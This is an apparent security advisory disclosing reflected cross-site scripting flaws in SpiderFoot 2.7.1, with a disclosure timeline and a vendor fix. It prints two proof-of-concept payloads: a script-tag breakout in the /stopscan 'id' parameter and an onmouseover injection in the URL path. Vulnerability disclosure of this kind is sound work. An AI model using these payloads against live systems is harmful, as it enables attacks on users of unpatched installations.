Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in SpiderFoot
Affected Software : SpiderFoot
Affected Versions: 2.7.1
Vendor Homepage : 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-17-003

Technical Details

Proof of Concept URL for XSSes vulnerabilities in SpiderFoot;

URL /stopscan?id='"--></style></scRipt><scRipt>alert(0x00F93C)</scRipt>
Parameter Name id
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00F93C)</scRipt>

URL /stopscan/'onmouseover='alert(0x00FA0E)
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'onmouseover='alert(0x00FA0E)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
18 Dec 2016 - Issue reported
30 Dec 2016 - Vendor fixed
24 Jan 2017 - Advisory released

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Credits & Authors
This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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